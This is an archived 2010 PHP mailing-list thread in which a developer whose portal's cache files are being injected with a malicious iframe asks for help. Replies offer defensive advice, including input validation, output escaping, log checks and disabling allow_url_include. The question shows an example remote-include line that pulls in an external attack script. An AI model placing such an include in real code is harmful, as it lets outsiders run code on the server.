Security Issue
in [General]
|
Prev: DOMDocument::loadXML() failed when parsing comments inside a script tag
Next: combo box validation
From: Ashley Sheridan on 7 Jun 2010 14:06 On Mon, 2010-06-07 at 15:00 -0300, Igor Escobar wrote: > PHP Injection is the technical name given to a security hole in PHP > applications. When this gap there is a hacker can do with an external > code that is interpreted as an inner code as if the code included was > more a part of the script. > > > > // my code... > // my code... > include ('http://..../externalhackscript.txt'); > //my code... > //my code.. > > > I know how to fix that too. The problem is: WHERE I HAVE TO FIX THAT. > > > Got it? > > > > > > Regards, > Igor Escobar > Systems Analyst & Interface Designer > > + http://blog.igorescobar.com > + http://www.igorescobar.com > + @igorescobar (twitter) > > > > > > > On Mon, Jun 7, 2010 at 2:48 PM, Ashley Sheridan > <ash(a)ashleysheridan.co.uk> wrote: > > > On Mon, 2010-06-07 at 14:42 -0300, Igor Escobar wrote: > > > It's not a SQL Injection or XSS problem, Michael. > > > > It's a PHP Injection problem. I know how fix that but the > web site is very > > very huge, have lots and lots of partners and i'm have a bug > difficult do > > identify the focus of the problem. > > > > Got it? > > > > > > Regards, > > Igor Escobar > > Systems Analyst & Interface Designer > > > > + http://blog.igorescobar.com > > + http://www.igorescobar.com > > + @igorescobar (twitter) > > > > > > > > > > > > On Mon, Jun 7, 2010 at 2:38 PM, Michael Shadle > <mike503(a)gmail.com> wrote: > > > > > It's not that bad. > > > > > > Use filter functions and sanity checks for input. > > > > > > Use htmlspecialchars() basically on output. > > > > > > That should take care of basically everything. > > > > > > > > > On Jun 7, 2010, at 6:16 AM, Igor Escobar > <titiolinkin(a)gmail.com> wrote: > > > > > > This was my fear. > > >> > > >> Regards, > > >> Igor Escobar > > >> Systems Analyst & Interface Designer > > >> > > >> + http://blog.igorescobar.com > > >> + http://www.igorescobar.com > > >> + @igorescobar (twitter) > > >> > > >> > > >> > > >> > > >> > > >> On Mon, Jun 7, 2010 at 10:05 AM, Peter Lind > <peter.e.lind(a)gmail.com> > > >> wrote: > > >> > > >> On 7 June 2010 14:54, Igor Escobar > <titiolinkin(a)gmail.com> wrote: > > >>> > > >>>> Hi Folks! > > >>>> > > >>>> The portal for which I work is suffering constant > attacks that I feel > > >>>> > > >>> that > > >>> > > >>>> is PHP Injection. Somehow the hacker is getting to > change the cache > > >>>> files > > >>>> that our system generates. Concatenating the HTML file > with another that > > >>>> have an iframe to a malicious JAR file. Do you have any > suggestions to > > >>>> prevent this action? The hacker has no access to our > file system, he is > > >>>> imputing the code through some security hole. The > problem is that the > > >>>> > > >>> portal > > >>> > > >>>> is very big and has lots and lots partners hosted on > our estructure > > >>>> structure. We are failing to identify the focus of this > attacks. > > >>>> > > >>>> Any ideas? > > >>>> > > >>>> > > >>> Check all user input + upload: make sure that whatever > comes from the > > >>> user is validated. Then check all output: make sure that > everythin > > >>> output is escaped properly. Yes, it's an enormous task, > but there's no > > >>> way around it. > > >>> > > >>> Regards > > >>> Peter > > >>> > > >>> -- > > >>> <hype> > > >>> WWW: http://plphp.dk / http://plind.dk > > >>> LinkedIn: http://www.linkedin.com/in/plind > > >>> BeWelcome/Couchsurfing: Fake51 > > >>> Twitter: http://twitter.com/kafe15 > > >>> </hype> > > >>> > > >>> > > > -- > > > PHP General Mailing List (http://www.php.net/) > > > To unsubscribe, visit: http://www.php.net/unsub.php > > > > > > > > > > > What do you mean it's a PHP injection? PHP is all on the > server, and the > only way to get at that if you don't have direct access to the > server > (which you've said isn't possible as the passwords, etc are > all fine) > then the bad data is coming from either a form or another area > where > user data is expected. This data might be as simple as > unsanitised URL > variables that are intended to fetch a blog entry, to form > data sent in > a registration page. > > All data coming from the user is bad until proven otherwise. > > > > Thanks, > Ash > http://www.ashleysheridan.co.uk > > > > > That data is still coming from somewhere, so is still badly sanitised data either coming from a form or a URL. You really should go over all the code to find these and root them out, which is a mammoth task. To narrow it down, those access logs I mentioned before will help. I think there are ways you can automatically detect security holes in your software, but if none of your user data is sanitised correctly, then virtually everything is a potential security hole. Thanks, Ash http://www.ashleysheridan.co.uk
From: "Bob McConnell" on 7 Jun 2010 14:40 From: Ashley Sheridan > On Mon, 2010-06-07 at 15:00 -0300, Igor Escobar wrote: > >> PHP Injection is the technical name given to a security hole in PHP >> applications. When this gap there is a hacker can do with an external >> code that is interpreted as an inner code as if the code included was >> more a part of the script. > > That data is still coming from somewhere, so is still badly sanitised > data either coming from a form or a URL. You really should go over all > the code to find these and root them out, which is a mammoth task. To > narrow it down, those access logs I mentioned before will help. I think > there are ways you can automatically detect security holes in your > software, but if none of your user data is sanitised correctly, then > virtually everything is a potential security hole. You need to narrow your search down a bit. Are there corrupted files on the server? Who has write privileges for those files and directories? Are they tracked via a content management system? Who last wrote to them? Can you further restrict who is allowed to write into those files and directories? Bob McConnell
From: richard gray on 7 Jun 2010 16:26 On 07/06/2010 20:00, Igor Escobar wrote: > PHP Injection is the technical name given to a security hole in PHP > applications. When this gap there is a hacker can do with an external code > that is interpreted as an inner code as if the code included was more a part > of the script. > > // my code... > // my code... > include ('http://..../externalhackscript.txt'); > //my code... > //my code.. can you not switch off remote file includes in php.ini? This will stop include/require from a remote host.. i.e. /allow_url_include = Off in php.ini HTH Rich /
From: Raymond Irving on 8 Jun 2010 02:43 Are you running the latest version of PHP? If not you should check for PHP vulnerabilities for the version that you have installed. You should also check your OS and web server software for security holes. On Mon, Jun 7, 2010 at 7:54 AM, Igor Escobar <titiolinkin(a)gmail.com> wrote: > Hi Folks! > > The portal for which I work is suffering constant attacks that I feel that > is PHP Injection. Somehow the hacker is getting to change the cache files > that our system generates. Concatenating the HTML file with another that > have an iframe to a malicious JAR file. Do you have any suggestions to > prevent this action? The hacker has no access to our file system, he is > imputing the code through some security hole. The problem is that the > portal > is very big and has lots and lots partners hosted on our estructure > structure. We are failing to identify the focus of this attacks. > > Any ideas? > > > Regards, > Igor Escobar > Systems Analyst & Interface Designer > > + http://blog.igorescobar.com > + http://www.igorescobar.com > + @igorescobar (twitter) >
From: Igor Escobar on 8 Jun 2010 10:10
Hey Richard, I'll find more about this parameter allow_url_include, thank you! Regards, Igor Escobar Systems Analyst & Interface Designer + http://blog.igorescobar.com + http://www.igorescobar.com + @igorescobar (twitter) On Mon, Jun 7, 2010 at 5:26 PM, richard gray <rich(a)richgray.com> wrote: > On 07/06/2010 20:00, Igor Escobar wrote: > >> PHP Injection is the technical name given to a security hole in PHP >> applications. When this gap there is a hacker can do with an external code >> that is interpreted as an inner code as if the code included was more a >> part >> of the script. >> >> // my code... >> // my code... >> include ('http://..../externalhackscript.txt'); >> //my code... >> //my code.. >> > can you not switch off remote file includes in php.ini? > This will stop include/require from a remote host.. > i.e. /allow_url_include = Off in php.ini > > HTH > Rich > / > |